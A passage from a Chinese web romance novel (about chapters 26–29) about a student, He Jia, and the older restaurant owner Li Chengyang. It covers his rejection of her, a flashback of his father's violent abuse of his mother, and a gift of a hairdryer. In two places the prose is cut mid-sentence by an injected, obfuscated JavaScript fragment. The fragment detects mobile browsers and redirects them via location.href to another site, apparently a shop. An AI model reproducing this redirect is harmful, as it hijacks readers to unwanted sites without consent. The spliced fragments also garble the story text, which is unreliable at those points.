何嘉反问:“难道你穿秋裤了?” 他不再多问,指着池子说:“腿伸过去,先冲一下伤口。” 何嘉拧开水龙头照做。 一股冰冷的水柱流过她的伤口,开始的时候疼得她咬牙切齿,但过了一会儿皮肤被冻得没了知觉,也便感觉不到疼痛了。 李成杨还扶着她的手臂,怕她站不稳摔倒。 他的体温源源不断地传来,一下又一下熨烫她的神经。 “你说我刚才钓到鱼了吗?” 她还有心情问这个问题。 李成杨不回答,注意力放在她的伤口上。 她不死心:“你看到了吗?究竟是不是一条大鱼?” “应该钓到了。”时间过了五分钟,他伸手拧上水龙头。 “真的吗?你不要骗我。” “真的。是一条很大的鲫鱼。” “什么颜色?” 鲫鱼什么颜色?他想了想:“就黑白的。” “哦好吧。” “嗯,冲好了你先在一边站着等我。” “怎么了?” “因为我也要冲。” “?” 李成杨松开何嘉的手臂,把自己的裤腿也挽上去,小腿同样的位置不知道什么时候划伤的。 何嘉看着他的腿,第一个想到的事情竟然是:“你不也没穿秋裤吗?” 他不理她,开始冲洗伤口。 她问:“你痛不痛?是刚才抓我的时候划的吗?” 他说:“你痛不痛我就痛不痛。” “好吧,还是有点痛的。只是你怎么也会受伤?” “我是人。” “不是。” 李成杨看她一眼,“嗯,我不是人,我是你恩人。” 她解释:“不是,我的意思是,你刚才怎么也会受伤?你也踩进池塘了吗?那下面的碎石头有点锋利。” “那不然呢?我不进去让你一个人游泳吗?” 她“噗嗤”一声,“我不会游泳,所以谢谢你,救命恩人。” “知道就好,知道以后就别老忤逆长辈。” “我怎么忤逆你了?” “你现在就是在忤逆我。” “我问问题也算?” “算你挑衅。” “哼,你倚老卖老。” “嗯,你目无尊长。” 何嘉懒得跟他吵,扭头就给张壅打电话:“喂,壅哥,你们能帮我问问老板那儿有没有碘伏吗?” 张壅问:“怎么了?受伤了吗?” “对,我差点掉池塘里,被划伤了。” “你人没事吧?杨哥呢?” “我们都没事。” “OK,我去问下。” 张壅和冉舒很快就拿着碘伏找过来,冉舒站在何嘉身边问:“小嘉你们怎么弄的啊?不是去钓鱼了吗?” 何嘉心虚地笑:“是我收网的时候没踩稳,差点掉到池塘里面,这个人为了救我也踩进池塘了。” 她口中的“这个人”站在她身边,十分安静地向冉舒伸出手:“碘伏给我吧,我来处理。” 冉舒说:“好,那你帮她处理一下。”又对着何嘉说:“下次要小心一点哦。” “嗯嗯。” 他们不一会儿就走了,空间里又只剩下何嘉和李成杨。 李成杨指了指外面的椅子,“去那边坐着。” 何嘉可以自己走过去,但就是想和他套近乎。 “你可以扶着我吗?我腿很疼。” 他面无表情地说:“我和你一样的伤口,我觉得也没有那么疼。” 她语调上扬,一点撒娇的意味:“我比你先掉下去,肯定比你更疼,你刚才都抱我了,不可以再扶我一下吗?” 他的眼神在她脸上扫视,怎么看不出来她的小心思。 “不行,我腿也很痛。” “好吧。” 她耳朵耷拉下来,故意一瘸一拐地在原地蹦哒。 他看了只觉得心情烦躁。 “过来。” 她很听话地凑近他,伸出手臂示意他扶,他这次没说什么,放任她靠着自己小步挪动。 走到椅子旁边才吩咐她:“坐着,先给你消毒。” “嗯嗯。”很乖的样子。 李成杨蹲在她的脚边,打开碘伏用棉签蘸了蘸,小心地涂上她的伤口。 她的伤口看着吓人,其实并不深,也不再流血,只是还有点儿细小的刺痛。 碘伏涂在上面凉凉的,竟然有点舒适。 此刻他为她低头,心思全在她的腿上,一圈又一圈,为她消毒的时候一直动作很轻,非常温柔,和他这个人一样。 看上去不近人情,但其实永远细致周到。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296138|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “李成杨。” 她呼唤他,同时看到他后脑勺的黑发浓密。 “你叫我什么?” 他嘴上不耐烦,动作却依旧温和。 她笑了笑,装作云淡风轻地问:“你以前谈的对象是什么样子?” “小孩少打听。” “我不是小孩了。我就是好奇,她是什么样的人?你们在一起很久吗?” 他想也不想就回答:“不知道,不记得了。” “不记得?不记得就是很久之前了吗?” “不记得了。”还是这么一句。 何嘉猜到他不会告诉她,换了个问题:“你以前也对她这么好吗?” “什么东西?什么好?” “就是,你对她也像现在对我这样好吗?” 他手指停顿,抬起头:“为什么问这个?” 明知道自己不该这样回答,但她还是忍不住盯着他的眼睛。 “因为,李成杨,你总是对我很好。” “不要叫我的名字。”他冷着脸一遍又一遍重复:“不要再叫我的名字。以后都不要叫我的名字。” “那我应该叫什么?” “你觉得呢?这个问题不需要我再重复。” “我不想叫叔叔。” “那什么都别叫。” 何嘉不懂得收敛,还想一味试探。 “你好像一直对我很好。你知道吗?” 李成杨反问:“你知道什么叫好?这就叫好?” “不,在一个人需要的时候及时出现,就叫好。而你总是在我需要的时候出现,不是吗?” 他微微愣神:“不是,那只是凑巧。” 她根本不接招,眼睫颤抖,望着他的时候如水般柔情:“可是我觉得那就是很好。如果可以的话,你以后也能对我这么好吗?” 以后? 以后?! 猛吸一口气,他整颗心脏疯狂跳动,像暴风雨席卷全球一样颤栗,顷刻间淹没他所有防备。 但是没有以后,不可能有以后。 理智是最后紧绷的弦,一点点将他拉回现实。顿时感到头痛欲裂。 他深沉地叹气,再郑重地回应她的眼睛:“何嘉,你不要依赖我,以后都不要依赖我。” 她否认:“我没有依赖你。” “你觉得我对你很好,这就是依赖,除此之外什么都不是。” “不,不是这样的,我知道。” “你还年轻,你知道什么?” 她不解,一味辩白:“你又怎么知道是不是?你不是我,你怎么知道我心里想什么?我已经不小了,我有基本的判断能力,我很清楚自己不是依赖你,我只是喜……” “何嘉!” 他猛地站起来,语气愤恼:“不要说,不要说出来。不管你想说什么,都不要说出来!” 就在那一秒,何嘉清晰地看见他想要逃避的神情。原来,他什么都知道。 她对他的心思,他一直都一清二楚。 原来他这几天情绪不好就是因为太清楚地知道。 但既然知道的话,怎么还能和她单独相处?既然知道的话,怎么还能对她如此耐心?既然知道的话,怎么还可以放任她在他眼皮子底下的心机? 你究竟是什么意思? 两个人都在风暴中失控,大家都在偏离轨道,但总要有人重修道路,将一切归正好。 李成杨缄默一段时间,用近乎冷酷的口吻告诉她:“我比你大多少?十岁。所以我照顾你是很正常的,你对我来说就是一个需要帮助的对象。如果我那会儿遇到的不是你,是别人,我也会这么照顾她,你明白吗?所以我希望,我对你的照顾不是负担,也不是误会。” 何嘉低下头一言不发。他的话像一把弯刀捅在她心上,他越是说得清楚,她越觉得无处可逃。 现在那把刀继续搅动,撕碎她最后一块完整的血肉。 “你明白我的意思吗?你不需要我再说明显一点。你听得懂。” 二月离春天好近,有人死在半路上。 何嘉自嘲地笑笑,嗓子哑得发不出声响。 接近傍晚的时候太阳阴翳,风像针一般刮在脸上。 “我知道了。” “很好。” 两根鱼竿散落在远处的泥地,池鱼扯破嘴角纷纷出逃,同一块碎石划伤两人同一个地方,都在心上。 27. 第27章 黑云压城,风雨欲来,空气里飘着铁器生锈的味道。 水泥地灰扑扑的,连着墙边沾满脏腻的污垢,和几滴新鲜刺鼻的血滴。 “他妈的废物!没有我,你们能活得下去?钱都是我挣的,你他妈在家做个饭有什么辛苦的?” 男人的巴掌力气极大,将面前的女人直接扇到桌角,女人闷哼一声倒在地上求饶:“别打了,求你了,我知道错了,求你了……” 男人还觉得不解气,骑在她身上用砍刀威胁:“你敢提离婚?你他妈再敢走,我就把你杀了!还有他,把他一起杀了!要死是不是?一起死!” “不!不要!”女人哭着看向地上的少年,嘶吼着:“不要!小杨!小杨!” 趴在墙角的那个少年满脸是血,刚才因为反抗被男人压在身下砸了不止一次,他的眼睛肿胀刺痛,四肢瘫软无力。 那个男人还在继续打骂身下的女人,拳头带着少年的鲜血,散发腥气。 少年眼睛半眯,意识渐渐脱离躯体。 “你还走不走?说话啊!你还跟我倔是吧!他妈的贱人!” 男人面目狰狞,眼睛因为暴力变成可怖的猩红,他转身盯了少年一眼,恶狠狠地大叫:“你也跟她一起反抗我是吧?你也不把我放在眼里是不是?是不是!你看着,你给我看着!” 额头上的血渍滑过少年的眼睛,整个世界都变成红色。 男人的骂声不断,只隔了一秒,他拎起地上的板凳往女人的头上砸,一下又一下,女人的声音淹没在撞击的巨响里,一片血红从她身边缓缓流向少年。 少年的泪水和血液融在一起,他虚弱又绝望地朝她喊了一句:“妈……” 红色弥漫他的天空,黑色同恐惧一般从他的心脏席卷每支神经。他却晃眼看到一片白色。 女人躺在病床神情呆滞,她的头上缠着好几层绷带,脸上乌紫,没有一块完好的皮肤。 少年站在她身边落泪,一遍又一遍地叫她:“妈,你记得我吗?妈,你还记不记得我?” 女人看到他的时候神色惊愕,声音尖锐刺耳:“你是谁!你是谁!你走开!我不认识你!你赶快走!走啊!” 他们身旁站着一个文质彬彬的男人,头发梳得一丝不苟,腕间带着一块金色的机械表。 他拉开少年,语重心长地说:“小杨,她不认识你了,你这段时间……暂时不要过来了好吗?她看到你,可能会想起一些不好的记忆。你可以理解的对吗?” 少年先是呆住不动,一个人站了好一会儿,等意识回笼的时候擦干眼泪,极其果断地做出一个决定。 “舅,你带她走吧,你们走吧,那个人不会善罢甘休的。你们……走吧。” “小杨……那你……” 他颤着声音回答:“她不记得我了。她不记得我也好…她可以重新开始,去一个没有痛苦的地方重新生活,以后,以后要是恢复记忆了,也不会一看到我就想起不好的事情。” “……好小杨。” 男人沉默,然后从口袋里摸出一张银行卡:“对不起小杨…舅舅以前都不知道你们……唉,我怎么不知道呢?要是我早点知道的话……这张卡,你拿好,不要让李建峰知道了,密码是你妈妈的生日。你以后……以后要照顾好自己,要读书,要好好读书听到了吗?一定要读书才有出路。” 少年点头,吸了吸鼻子故作坚强:“我知道。” 离开之前,少年又往女人的方向看了一眼,声音很轻:“妈,我走了,你以后……别回来。” 女人沉默地看着他,眼里已经没有惊慌,取而代之的是一种他看不懂的情绪。 他缓缓转身的时候,她哭了,十分安静地啜泣。病房里的仪器滴答滴答,混着谁别离时刻的心碎异响。 少年将所有声音放在心里,只是微怔几秒,毅然决然地离去。 后来的少年开始认真学习,不再打架不再混日子,连老师都惊讶他的转变。而他终日寡言,除了学习,什么也不想,除了学校,哪里也不去。 结果如他所愿,他考去临昌的一所大学,四年里一次也没有回来过。 直到,毕业那年。 那个男人,他生物学上的父亲,跪在地上向他忏悔:“小杨,以前都是爸爸不好,是爸爸的问题,是爸爸不该那样对你和妈妈。我不求你原谅,我只求你看在爸爸养你的份上救救爸爸好不好?” 男人比以前胖了,看上去面慈目善,谁也无法想到他从前面目狰狞的模样。 “你救救爸爸!爸爸得病了,你救救爸爸啊小杨!你不救爸爸,爸爸真的会死,求求你了!”他扯着少年的裤脚,在地上祈求:“小杨!你不是那么心狠的孩子!我知道!你救救爸爸!爸爸只有你了!” 男人哭得脸颊扭曲,如此弱小无助,只为了祈求生命的延续。 而他,当年那个少年,喉咙涩得发疼,他的心脏涨得快要炸掉。他无数次希望面前这个男人去死,最好就死在他面前,而且死相凄惨最好,可是怎么回事? 他竟然动不了身体,也没有办法转身离开。他很煎熬,也很愧疚,好像救了那个人的话就对不起妈妈还有从前的自己。 可是,可是,可是他竟然真的,真的没有办法不管那个人,他无法亲眼看着那人的生命在他眼前流逝。 于是他又回到这座城市,踏上这片土地的时候,他觉得自己真贱。 连着好几年一直下雨,他的人生像是一场巨大的鬼压床,无法动弹、不能喘息。 每到夜深人静就开始丧气,脑中的悔意压垮他的神经。 他被一滩水藻捆住双足,一直下坠下坠,心脏被不断压瘪,整个身体都要四分五裂。 然后是无尽的黑暗,变换的红色,恐惧在他内心叫嚣,浸湿他身上每寸布料。 他在窒息中听到手机振动的声音,他要向上游,不断努力,耗尽全身的力气,终于看到天花板上寂静的灯具。 这里才是现实。 湿汗贴在他的背脊,空气里装满冷意。而他的心脏还因为后怕不断跳动。 “是梦,刚才是梦。”他呢喃几句。 忍着不适拿起手机,有人连发好几条图片消息。 点开一看,全是某朵小花笑起来的表情。 女孩骑在马背上微笑,四周绿意盎然,阳光倾斜在她发顶,折射出耀眼的金光。 她的梨涡盛放,比任何药品都更接近治愈。她的睫毛弯弯,挠在他心上。 他呼吸渐缓,忍不住用手指轻抚她的脸颊。每张照片里的她都是这副阳光灿烂的模样,笑起来的她总是这样直击人心。 这时,对面发来一句文字解释:【这是那天给小嘉妹妹拍的照片,但是我没有她微信,你帮我发给她一下】 大脑清醒不少,李成杨退出聊天框,翻到那个熟悉的小猫头像。 时间停留在六天前,出游那天之后他们再也没有说过话。那天的事情在他脑海里无比清晰,他们说的一字一句他都记得很清楚。 是他,亲手清理了那些不合时宜的情绪。 从此之后他又消失了,刻意不回饭店,像上次一样躲避她,最好是一面也不要遇上。 可是现在再看到她的照片,他却突然好想见她一面。 他有什么资格呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300142|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 大概怀疑自己疯了,他从床上爬起来,再也不想在这个房间里多呆一秒。 看了眼时间,晚上九点多,抓了车钥匙就往外跑,身上连件外套也没有。 半个小时的路程不够他想清楚目的,再回神的时候已经站在饭店门口犹豫。 他到底来这里做什么? 嘲讽自己一般笑笑,离大门越走越近。 小姑娘站在玻璃门里,穿了上次他给她买的黑色外套,整个人神情淡然,手上还拿着一张抹布。 她没有注意他的身影,用抹布在玻璃上擦洗。过了一会儿,她朝玻璃小口哈气,一层白雾躺在玻璃上,她趁机伸手在上面写写画画。 他又走近一步,想看看她究竟写的什么东西。 指尖擦过雾气,形状像是几个字母。 “YCL” 镜面的倒影并不清晰,让他又朝前走近一步。 几乎是同时,她用手指在字母上打了一把大大的叉,还没来得及看清就将雾气擦去,她的视线落在抹布上,根本没有多看外面一眼。 李成杨愣在原地,见她背影越走越远,再也没有试着走近。 他在期待什么呢? 难道是期待她发现他吗? 可是,“YCL”就是“LCY”,LCY就是李成杨,已经被她打上一把大叉。 李成杨,已经被她打上大叉,然后轻描淡写地擦去。 他的指尖悬在空中,再也找不到站在这里的理由。 饭店的后厨,何嘉站在水池边清洗抹布,冷水浇过手指的时候凉得刺骨,她指尖发红,心思却不在这里。 她刚才,是错觉吗? 她在玻璃上写字的时候,好像看到了李成杨的脸?尽管只是余光瞥到一瞬,她还是下意识逃跑了。 不,不可能是他。 他那天明明已经将她拒绝得很体面,她想,成年人里的拒绝就是这样吧,不是一定要说出“不可以”这样的话,点到为止就好,给大家都留下一点余地,日后还能继续相处。 那么她就不可以再幻想了,他不可能主动出现在这里。 将抹布放到原来的地方,何嘉走回大厅,张壅和张姨都还没走。 张壅忙着打游戏,张姨忙着刷视频,两个人忙着手上的事情根本没注意她。 她也不知道怎么了,心里缺了一块,非常失落地回到二楼。 那件房间里有一张桌子,她小心地打开其中一个抽屉,里面躺着一片枯黄的心形落叶,那是她从前回学校在路上捡到的。 她之所以还留着它,是因为那天遇到他了,那是他们单独相处的时刻。上面镌刻着只有他们两人知道的记忆。 这样的记忆实在太多,她环顾这间房间的时候,发现床上铺着他为她带来的被子,衣架上晾着的是他给她买的外套,桌边没吃完的上好佳也与他有关。 他充斥在她世界的每个角落。在她发觉自己对他产生特殊的心思之前,就已经悄悄住进她心里。 可是现在,好像不可以再这么明目张胆地吐露心声。 她记得被他拒绝的那天,自己是如何失魂落魄地回到这里,但她也同时记得,在每个需要他的时刻他都会及时出现。 她好像,没有办法将这份心意剜去,就算是疼痛,都无法放弃遥望他平静的眼睛。 那么她只好给自己一点时间,在他重新发现她之前,暂时将所有的秘密藏匿。 黑笔在枯叶上写了几笔,她带着酸涩又鲁莽的爱意,把内心所想凝成刚才写过的三个字母—— “LCY” 这次没有划去。 28. 第28章 二月接近中旬,距离春节还有不到一周的日子。 这几天何嘉忙着完成论文初稿,有时间就会去学校的图书馆,直到上班的时间才会回饭店。 天气预报说,接下来的余川将迎来十年间的最低温,或许还会降雪。 何嘉走在街上遥望天空,她还从来没有见过雪。 停在往常的红路灯街口,她面色平淡地盯着眼前的景物。 眼睛暗了暗,认出一个特别的身影。 那人骑着三轮车,从她身边经过,车上装满快递。 他的神情和她一样淡,转头的时候察觉她的视线。 李成杨停在她身边问她:“回饭店?” 何嘉只是点头,没有说话。 “好。”他也点头。 绿灯亮起,她几乎是头也不回地从他身边经过,一直没有露出太大的表情。 而他停在原地,目光钉在她背上,直到红灯再次亮起的时候才想起自己早该离去。 路口这边,何嘉越走越快,步子趋近于小跑,直到看见饭店的招牌才停下来。 弯着腰喘了好大一口气,她脑子里飞速回忆:刚才她的表情没有越界吧?她没有主动跟他说话,应该不会让他再觉得麻烦吧? 得不到答案,反而店里的张姨一下看到她,朝她挥手:“小嘉回来啦!快进来呀,外边冷!” 何嘉进来后将大门关好,身上粘着一阵冷气。 “小嘉你看看吧台上是你的东西吗?” 张姨走到垃圾桶旁边剥橘子,回头朝何嘉问道:“是你的吧?我估摸着放那儿有两天了,都没人拿呢!奇了怪了。” 何嘉朝吧台扫视一眼,没看到什么属于她的东西。 “没有呀,张姨你说的什么东西啊?” “就那个吹风机啊!不是你的吗?”张姨吃了口橘子,“我寻思就你住在店里,其他人也在这儿用不上吹风嘛!” 何嘉的视线落到吧台一角,那里确实放着一把白色的吹风,没有包装,但一看就是新的。 “不是我的。”她拿起吹风看了看,“我没有吹风的。” “哎?那奇怪了,我问其他人都说不是他们的。” “是李成……是老板的吗?”何嘉被这个想法吓了一跳,立马自我否认:“不对,他不住这里的,应该也不是他的。” 张姨却说:“那有可能啊!说不定他这两天来过,但是我们都没注意来着。要不我打个电话问问?” “也可以的。” “那小嘉你帮我拿一下手机啊,就在吧台上,我手上不方便。”张姨还在吃橘子。 何嘉顺手拿起手机,屏幕忽然亮起,她瞥到张姨的壁纸是两个少年。 一个是张壅,那个时候他还是黑发,看上去肆意昂扬。另外一个,是李成杨? 她没忍住又看了眼,少年薄唇紧闭,视线漠然,整个人沉默,没有朝气。照片里的人和现在的他没有太大区别,只是气质的差异。 何嘉把手机递给她的时候问道:“张姨,你跟壅哥和老板一直都认识吗?” 张姨接过手机回答:“是啊,这张照片还是你成杨哥哥读大学的时候拍的。” 何嘉有点诧异:“原来你们真的这么早就认识了啊。” “嗯,那会儿他二十了吧,”张姨想了想,“对,就是二十,那会儿张壅才十五呢!” 二十岁? 李成杨的二十岁? 何嘉想起刚才在路口遇到他的样子,产生一种特别的冲动。她突然好想知道,他的二十岁会是什么样子? “你们是怎么认识的呀?”她问了出来。 张姨拉着她在椅子上坐下:“这个说来话长了。我一开始是不认识成杨的,是张壅在他爸爸那里当学徒,后面才认识的。” “老板以前是什么样子?也和现在差不多吗?” “不是。”张姨有些无奈地摇头:“成杨以前比现在还不爱说话,整个人特别冷淡,但是也不是他的问题,是他摊上了这么个爸,造孽啊。” 她不解:“他爸爸怎么了吗?” “他爸爸,唉。他爸爸就是个讨债鬼!当然,我也不是全都知道,但是听说了不少。他爸爸以前打人!他和他妈都打,最后把他妈妈打进医院了,你说多造孽啊!听着都心痛!” 何嘉皱眉,这是她从未预料过的情景。 “那他妈妈还好吗?” 张姨语气哀伤:“那年听说脑袋打坏了,谁都不记得了,连她自己的儿子都不认识了。后来应该是女方家里人接走了,再然后就就不知道了。” “那他呢?李成杨呢?” “不清楚,应该是考上大学就不回来了。当时我们都不知道他爸爸是这样的人,张壅还拜了他当师父,你说人真的不可貌相,他爸看上去和和气气的,哪知道是这种人!” 何嘉喉头发涩,寥寥几句话听着心头生出一股巨大的悲凉。 原来他在她这个年纪,也过得不如人意吗?现在看上去那么平和的一个人,原来经历过这样痛苦的曾经。 她的声音有些抖,尽量平静地问张姨:“那他爸爸还和他有联系吗?” 张姨“呸”了一声:“他爸?他爸真是报应不爽,死了!当年张壅拜他为师的时候就病了,那时候我们都不晓得成杨家里的事情,他还跟我们哭诉,说儿子在外面不理他了。然后你猜怎么着?他还让张壅去临昌找过成杨……唉,现在想想真是造孽哦!我们怎么就不知道呢!” 死了? 那天她还问过李成杨,为什么他爸爸不能继续当饭店老板了。 原来不是“不能当了”,而是“死了”。 那他当时为什么不直接告诉她呢? 何嘉愣神之际,有人朝她们问了句:“你们在说什么?” 她抬头看见是张壅。 大概是听到张姨的骂声,他慢慢从厨房走出来,“是杨哥的事吗?” 何嘉说是,“是他之前的事情。” “问我吧。”他拉了把椅子和对何嘉说:“我都知道的。” 语气非常正经,他从来不会用这样的语气和何嘉讲话。 那么她突然有点不敢看他的眼睛。 因为这预示着张姨说的都是真的。她应该能透过张壅即将告知的语句,看到李成杨那段无助又孤单的时光。 “他,当年过得很辛苦吗?” 她深吸一口气,只想知道这一个问题。 他是不是,一直都这么辛苦? 他从前说的不累是不是都是假的? 张壅沉默半晌,娓娓道来:“当年?当年我去临昌找他那会儿,他也没有那么辛苦,就是特别讨厌我,但我又不知道为啥,我觉得他就是师父说的那种白眼狼呗。后来相处吧,我又觉得他这个人吧?其实对谁都挺好的,慢慢我们就熟了,但是他从来不跟我说家里的事,但我就劝呗,我劝他回去看看师父,也救救他吧。” “他回去了吗?” “没有。开始的时候一次也不回去,直到毕业那会儿,我师父真的病得重了,跑到临昌去求他,不知道怎么着,他最后还是回来了。也是那个时候吧,我 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张壅苦笑,指尖燃着一支点了半边的烟,“我不知道,但我觉得他就是那样的人。他一直就是就是那样,没法理解。如果是我的话,我可能做不到,做不到帮助一个伤害我那么多次的人。” “他一直都是那样的……” 何嘉的目光飘到落下的烟灰,几乎是肯定般的语气:“他一直都是那么好的人,一直都是那么心软,就连对我也是。” “是好,也是固执。”张壅只吸了一口就将香烟掐灭:“他爸死了之后,他一直一个人生活,也孤单,平时一个人住就算了,过年也一个人就太惨了。所以每年过年呢,我妈都喊他来我们这边住,开始他来,后来不知道怎么就不来了,也可能是觉得这边没有归属感吧,哪里都没有一个属于他的位置。” “你知道吧?”他看了眼何嘉,又说:“他这些年还是很不容易的,但也就这么过下去了。只是我也搞不懂,他觉得一个人是好,还是不好。” 何嘉安静下来,她想说“我知道了”,但又觉得十分无力,她知道之后,好像什么也做不了。 可张壅也不是真的要听她的回答。 继续说着:“他这个人,我也很难说,什么都埋心里,别人很难猜到他在想什么。就比如上个月吧,他爸祭日,他带我去了。他其实一直都没有原谅他,他还在恨他,但是又每年都去,我真的不理解,他到底是恨他爸,还是在折磨自己。” 何嘉应该说点什么的,可语言是匮乏的,不足以表达内心的波涛汹涌。 她只是觉得自己再也无法平静。她以前只是觉得他的工作很累,但现在看来,累的是他整个人,是他整个人生。 那天她问过他的,问他这些年累不累,当时他说不累,都习惯了。可现在看来都是假的。 他一直在这个世上孤单地活着,没有一天真正得到过慰藉。 那么她还能说什么呢? 她只觉得心疼。 “我都知道了。” 千言万语浓缩成一句。 张壅只是朝她笑笑:“小嘉,这些都是他的事,与你没有太大关系,你也不要有什么负担。” 何嘉却说:“我没有负担,我只是想要了解他,我也想要知道他的从前,我也想试着理解他的心情。” 少女的眼神赤诚,翻过一座雪山看不见一点污迹。 他哑然,细致观察何嘉的表情,最终落下前言不搭后语的一句:“小嘉,他没有你聪明,你再给他一点时间。” “什么?”何嘉的晶莹凝聚在眼里。 他却不再开口,静默地朝她微笑。 她还有好多问题,全都咽在肚子里。 29. 第29章 “好了。” 张壅站起来指了指吧台,“那个吹风机,你快去拿吧,那多半是他给你的。” “什么?”何嘉还在沉浸在刚才的情绪里,根本反应不过来他什么意思。 “啧。”他提示她:“我说那个吹风机,多半是他带给你的,店里又没别人住,不是给你的是给谁的?但我看你们最近又开始闹别扭,估计他也不好意思说。” 她呆呆地望着吧台:“给我的?可是他前几天刚拒绝我了,应该不太可能再送东西给我了。” 张壅震惊:“什么?他已经拒绝了?” 何嘉不好意思,小声说:“应该是的,他说他只是习惯照顾人,我和他只是晚辈和长辈的关系,他让我不要误会……” “卧槽?”他忍不住骂道:“这不浪费我表情吗?我刚还让你给他点时间,那还给个锤啊!” “好像是这样的。” 他无语:“你就该虐虐他,不然他真不知道自己算老几。切,有些人失去了才知道珍惜哟。” “不是的,他那天还说,如果遇到的是别人,他也会这么帮助她的。” “你信他?你信他还是信我有一百万?” 何嘉思索两秒,还是觉得一百万更可信。 张壅摇头:“不是我说,你真信啊?唉,你…唉不是我说?你再想想呢?你能信他说的话啊?” 这次她没回答,反而去拿吹风机去了。 白色的吹风机,没有特别大,拿在手里毫不费力,机身还画着一个棕色的小熊。 ……这不可能是李成杨自己用的吧?那搞不好真的是买给她的? 可他怎么不直接给她,还要装作什么都没发生的样子? 何嘉捏着吹风,心里一万个问号。他不是才拒绝了她吗?难道这也算长辈照顾晚辈的范畴? 不知怎么,她倏然想到某个夜晚,他好像是叫她买一个吹风来着,只是不过她当时说没钱。 所以,这应该就是他的手笔。 好吧,她默默勾唇,带着吹风回到二楼。 才刚坐下,手机正好传来几条消息。 对面一连发了好几张图片,全是她那天骑马的照片。 图片加载完毕,对面又发来一句:【冉舒说没你微信,让我发你。】 她看着他的头像,心脏微微跳动,那天之后他们再也没有联系过。不知道他这几天过得怎么样。 【谢谢。】 害怕他觉得困扰,她只回了这句。 过了两秒又想到吹风,还是发了:【吹风也谢谢。】 很有礼貌,也很客气。 李成杨的手指僵在键盘上,没再回复。 她竟然没问吹风的事,说了句谢谢就算了。她以前不是这样的。 关掉手机,哪里都不对劲。 他本来以为,自己是回错房间那晚之后才变得不对劲,没想到钓鱼那天之后也没有变得多正常。 到底是怎么回事? 腿上的伤口还在隐隐作痛,那天之后一直忘记消毒,如果还不处理的话就会流脓发烧,但他只是看了一眼,故意不理。 第二天,农历二十八,法定春节休假的第一天。 何嘉起了个大早,张姨和店里其他员工都开始放假,整个饭店只剩她一个人。 她本来想问李成杨钥匙怎么处理,但想了一个晚上都找不到合适的措辞,索性就先不问了,反正能拖一天是一天。 从一楼打两桶热水,她还是决定先洗个澡。 有了前车之鉴,这次洗澡之前她特意巡视二楼的包间,将它们一一关好之后才放心走进洗手间。 兰花味的飘柔又少了一小半,她轻轻冲掉头上所有的泡泡。 过了一个小时,她裹好头上的毛巾,从厕所出来的时候还没来得及穿外套。 她将头发擦得半干,迫不及待地拿起李成杨给她的吹风。 热风打在脸上,很温暖,吹起她额间细小的绒毛。她转了个身,脸颊向着窗外的阳光。 说是要下雪的天气,还是出了太阳。 吹风运行的声音嘈杂,却盖不住她轻哼音乐的曲调。 她的手指在发间穿梭,湿意慢慢变得干燥。 一阵细微的脚步声踩过楼梯,停在房间门口,她忙着观察远方的白塔,根本没有注意到。 暖风划过她的头发,将几缕发丝轻轻吹起,发间的香味向后扩散,一瞬间占据了谁的神经。 那人不声不响地朝她靠近一步,而她的头发像从前无数次那样沐浴在阳光里,变成粼粼金光。 他伸手朝她的发丝靠近,想要接住其中一缕温暖。 再靠近一点,微风再将它吹过来些。 就在即将触碰到的那瞬间,他的指尖轻颤,心里突然变得很紧张。 可是不巧,她突然放下吹风,室内陷入一片寂静。 他在刹那间收回手指,静静地看她用梳子理顺发梢。过了一会儿,她又拿起桌上的发圈,仔细地取下缠在上面的断发,亦如刚才那边心无旁骛。 默默弯唇,他忍不住微笑,是在想她怎么还没发现他。 那就再往前靠近一步,呼吸离她不过几步之遥。 地板忽然响动一声,她猛地回头,手间的发圈没骨气地滚到地上。 何嘉的眼里满是惊愕,发丝也在霎时朝前飞动,香味卷在风里,吹到他心上。 他沉默地望向她,看到她身后的白云蓝天,还有她身上披着的太阳。 “李成杨?” 她动了动嘴唇,眼里的惊愕变成讶异。 他就这么看着她,心脏像断线的风筝一样乱跑。 “嗯。” 这次没有纠正称呼,很坦然地应了。 “你怎么在这儿?” 这次换她问他这个问题。 他不说话,弯腰去捡地上的发圈。 非常朴实的黑色发圈,躺在他手里的时候显得很小,他将它握在手心,小心地摩擦两下。 然后,他直起身,一步一步走向她。 世界万籁俱寂,她听见他靠近的声响。 心跳在那一瞬撞进他墨黑的眼睛,她能看到他眼里的不同寻常。 如此深邃、明亮的眼睛,此刻只注视她一人,他不断走近的动作,让她每一秒都面红耳赤。 他停在她面前,低头凝视她的时候像水一样温柔。 她从来不知道,他的眼里也会迸出星星的光芒。 “你的东西。” 他的嗓音如低吟浅唱,打在她本就毫无防备的神经上。 发圈躺在他的手心,十分安静地举在她眼前。 她手心出汗,极其不自然地触碰到他的皮肤,热意相接的时候两人都颤了颤睫毛。 “谢谢。”她迅速取下发圈,将它紧紧握在手里。 他问她:“今天已经放假了,怎么还没走?” 她后退一步,耳尖泛红。 “我打算明天再走。” “回安城?”他偏朝前一步。 “对。” “明天什么时候?” “就,早上的时候。” “好。” 这么近的距离,何嘉觉得自己的心脏快到就要不受控制,但除此之外她整个人都感到疑惑。 他今天怎么这么反常? 小姑娘眼睛转了几圈,试图在他脸上找到答案,可他表情一如既往。 见鬼。 “你怎么了吗?” “什么?”李成杨的眼神停留在她的嘴角,那里本来应该有两个梨涡,但现在笑也不笑。 她怎么不对他笑了? 